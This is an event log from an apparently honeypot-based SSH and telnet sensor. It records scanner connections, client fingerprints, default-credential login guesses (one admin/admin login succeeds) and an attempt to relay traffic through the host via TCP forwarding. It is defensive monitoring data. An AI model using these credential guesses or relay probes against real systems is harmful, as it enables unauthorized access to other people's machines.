{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:31.563071Z","src_ip":"45.148.10.121","session":"fc082dd55a06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:31.655846Z","src_ip":"45.148.10.121","session":"fc082dd55a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":41142,"dst_ip":"159.203.135.109","dst_port":22,"session":"80daadb0a335","protocol":"ssh","message":"New connection: 45.148.10.121:41142 (159.203.135.109:22) [session: 80daadb0a335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:31.734221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:31.739561Z","src_ip":"45.148.10.121","session":"80daadb0a335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:31.824706Z","src_ip":"45.148.10.121","session":"80daadb0a335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.560296297073364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:31.980241Z","src_ip":"162.253.42.116","session":"330818acb521","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:32.088485Z","src_ip":"45.148.10.121","session":"80daadb0a335","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:32.176481Z","session":"80daadb0a335","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:32.264789Z","src_ip":"45.148.10.121","session":"80daadb0a335","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:32.268387Z","src_ip":"45.148.10.121","session":"80daadb0a335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:32.356563Z","src_ip":"45.148.10.121","session":"80daadb0a335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.78095769882202,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:40.257956Z","src_ip":"162.253.42.116","session":"84a275054458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":52836,"dst_ip":"159.203.135.109","dst_port":23,"session":"300e7621d4a6","protocol":"telnet","message":"New connection: 104.248.46.74:52836 (159.203.135.109:23) [session: 300e7621d4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:40.432315Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43876,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f3cf5698742","protocol":"telnet","message":"New connection: 208.82.116.131:43876 (159.203.135.109:23) [session: 1f3cf5698742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:42.810516Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43928,"dst_ip":"159.203.135.109","dst_port":23,"session":"879ef3234fbf","protocol":"telnet","message":"New connection: 208.82.116.131:43928 (159.203.135.109:23) [session: 879ef3234fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:42.916354Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43958,"dst_ip":"159.203.135.109","dst_port":23,"session":"153c92f864bd","protocol":"telnet","message":"New connection: 208.82.116.131:43958 (159.203.135.109:23) [session: 153c92f864bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:42.960413Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.183.19","src_port":53746,"dst_ip":"10.17.0.5","dst_port":22,"session":"a311ce8ecaf9","protocol":"ssh","message":"New connection: 85.11.183.19:53746 (10.17.0.5:22) [session: a311ce8ecaf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:45.121174Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\\xfc\u0003\u0003\\xf5\u0005\u0014\u04f8p\u0005\u4b39{f\\xf7|\\xa1\\x94*\\xcd\u0004\\xa7\\xc2 \\xc8g\\xdd\u0006U\\x83\\x8d\\xa9\\x9b\\xc3 wc\\xf8\u0018\u057b&)\\xf2\\xfd\\xe0!-\\xe1\\xbd\\xf1\u0001uHN\\xc4fj\\xf8\r\\xb6\u0011\\xa8-\u6fc5\u0000\\\u0013\u0002\u0013\u0003\u0013\u0001\\xc0,\\xc00\u0329\u0328\\xc0\\xaf\\xc0\\xad\\xc0]\\xc0a\\xc0+\\xc0/\\xc0\\xae\\xc0\\xac\\xc0\\\\xc0`\\xc0$\\xc0(\\xc0s\\xc0w\\xc0#\\xc0'\\xc0r\\xc0v\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\\xfc\u0003\u0003\\xf5\u0005\u0014\u04f8p\u0005\u4b39{f\\xf7|\\xa1\\x94*\\xcd\u0004\\xa7\\xc2 \\xc8g\\xdd\u0006U\\x83\\x8d\\xa9\\x9b\\xc3 wc\\xf8\u0018\u057b&)\\xf2\\xfd\\xe0!-\\xe1\\xbd\\xf1\u0001uHN\\xc4fj\\xf8\r\\xb6\u0011\\xa8-\u6fc5\u0000\\\u0013\u0002\u0013\u0003\u0013\u0001\\xc0,\\xc00\u0329\u0328\\xc0\\xaf\\xc0\\xad\\xc0]\\xc0a\\xc0+\\xc0/\\xc0\\xae\\xc0\\xac\\xc0\\\\xc0`\\xc0$\\xc0(\\xc0s\\xc0w\\xc0#\\xc0'\\xc0r\\xc0v\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:45.125898Z","src_ip":"85.11.183.19","session":"a311ce8ecaf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:45.129606Z","src_ip":"85.11.183.19","session":"a311ce8ecaf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.183.19","src_port":53754,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfb3a7345753","protocol":"ssh","message":"New connection: 85.11.183.19:53754 (10.17.0.5:22) [session: bfb3a7345753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:45.279989Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:45.286621Z","src_ip":"85.11.183.19","session":"bfb3a7345753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:45.290977Z","src_ip":"85.11.183.19","session":"bfb3a7345753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.72484636306763,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:39:48.847855Z","src_ip":"174.136.57.21","session":"ccc2b5499421","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.717787981033325,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:02.134164Z","src_ip":"208.82.116.131","session":"84ea9ace0671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.802732944488525,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:04.321869Z","src_ip":"208.82.116.131","session":"ce3fb87be0c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90415096282959,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:04.815299Z","src_ip":"104.248.46.74","session":"ab8a0cf6991d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39840,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eedc03e45cf","protocol":"telnet","message":"New connection: 162.253.42.116:39840 (10.17.0.5:23) [session: 8eedc03e45cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:05.560514Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50524,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd56276586e8","protocol":"ssh","message":"New connection: 159.203.92.129:50524 (159.203.135.109:22) [session: bd56276586e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:07.956566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:08.113970Z","src_ip":"159.203.92.129","session":"bd56276586e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:08.118306Z","src_ip":"159.203.92.129","session":"bd56276586e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amax","password":"AMAX","message":"login attempt [amax/AMAX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:08.512976Z","src_ip":"159.203.92.129","session":"bd56276586e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43656,"dst_ip":"10.17.0.5","dst_port":23,"session":"99d996efece5","protocol":"telnet","message":"New connection: 162.253.42.116:43656 (10.17.0.5:23) [session: 99d996efece5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:08.898484Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:09.581740Z","src_ip":"159.203.92.129","session":"bd56276586e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":50398,"dst_ip":"10.17.0.5","dst_port":23,"session":"a57a905937bc","protocol":"telnet","message":"New connection: 162.253.42.116:50398 (10.17.0.5:23) [session: a57a905937bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:13.241431Z"}
{"eventid":"cowrie.session.closed","duration":33.53622388839722,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:13.968394Z","src_ip":"104.248.46.74","session":"300e7621d4a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59724,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a6d823a8c3e","protocol":"telnet","message":"New connection: 162.253.42.116:59724 (10.17.0.5:23) [session: 7a6d823a8c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:21.062288Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34272,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5c5e601a544","protocol":"telnet","message":"New connection: 162.253.42.116:34272 (10.17.0.5:23) [session: d5c5e601a544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:23.207783Z"}
{"eventid":"cowrie.session.closed","duration":44.193610429763794,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:27.003978Z","src_ip":"208.82.116.131","session":"1f3cf5698742","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.106903076171875,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:31.067197Z","src_ip":"208.82.116.131","session":"153c92f864bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":35800,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d6a957cb67","protocol":"telnet","message":"New connection: 208.82.116.131:35800 (159.203.135.109:23) [session: a4d6a957cb67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:32.761960Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":35842,"dst_ip":"159.203.135.109","dst_port":23,"session":"d96d1404d0eb","protocol":"telnet","message":"New connection: 208.82.116.131:35842 (159.203.135.109:23) [session: d96d1404d0eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:32.822937Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":35840,"dst_ip":"159.203.135.109","dst_port":23,"session":"88240bac054a","protocol":"telnet","message":"New connection: 208.82.116.131:35840 (159.203.135.109:23) [session: 88240bac054a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:32.828099Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":35914,"dst_ip":"159.203.135.109","dst_port":23,"session":"f06e6dcef333","protocol":"telnet","message":"New connection: 208.82.116.131:35914 (159.203.135.109:23) [session: f06e6dcef333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:33.025611Z"}
{"eventid":"cowrie.session.closed","duration":50.19257211685181,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:33.108804Z","src_ip":"208.82.116.131","session":"879ef3234fbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.801684141159058,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:37.629697Z","src_ip":"208.82.116.131","session":"88240bac054a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.811543703079224,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:37.634337Z","src_ip":"208.82.116.131","session":"d96d1404d0eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.561774253845215,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:38.587248Z","src_ip":"208.82.116.131","session":"f06e6dcef333","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53678,"dst_ip":"10.17.0.5","dst_port":23,"session":"de32e7aef093","protocol":"telnet","message":"New connection: 162.253.42.116:53678 (10.17.0.5:23) [session: de32e7aef093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:39.482520Z"}
{"eventid":"cowrie.session.closed","duration":36.022540807724,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:41.582936Z","src_ip":"162.253.42.116","session":"8eedc03e45cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.7914252281189,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:41.689777Z","src_ip":"162.253.42.116","session":"99d996efece5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":45868,"dst_ip":"10.17.0.5","dst_port":22,"session":"60437c9b5c50","protocol":"ssh","message":"New connection: 45.78.194.242:45868 (10.17.0.5:22) [session: 60437c9b5c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:42.154970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:42.159867Z","src_ip":"45.78.194.242","session":"60437c9b5c50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:42.405702Z","src_ip":"45.78.194.242","session":"60437c9b5c50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qq@","message":"login attempt [root/123456qq@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:43.421519Z","src_ip":"45.78.194.242","session":"60437c9b5c50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.228.157.235","src_port":29417,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f2901db15bb","protocol":"telnet","message":"New connection: 150.228.157.235:29417 (159.203.135.109:23) [session: 1f2901db15bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:43.972387Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:44.670016Z","src_ip":"45.78.194.242","session":"60437c9b5c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.82252812385559,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:48.063816Z","src_ip":"162.253.42.116","session":"a57a905937bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":57612,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d8be7474ed","protocol":"ssh","message":"New connection: 102.213.34.99:57612 (10.17.0.5:22) [session: 81d8be7474ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:50.975228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:50.980494Z","src_ip":"102.213.34.99","session":"81d8be7474ed","protocol":"ssh"}
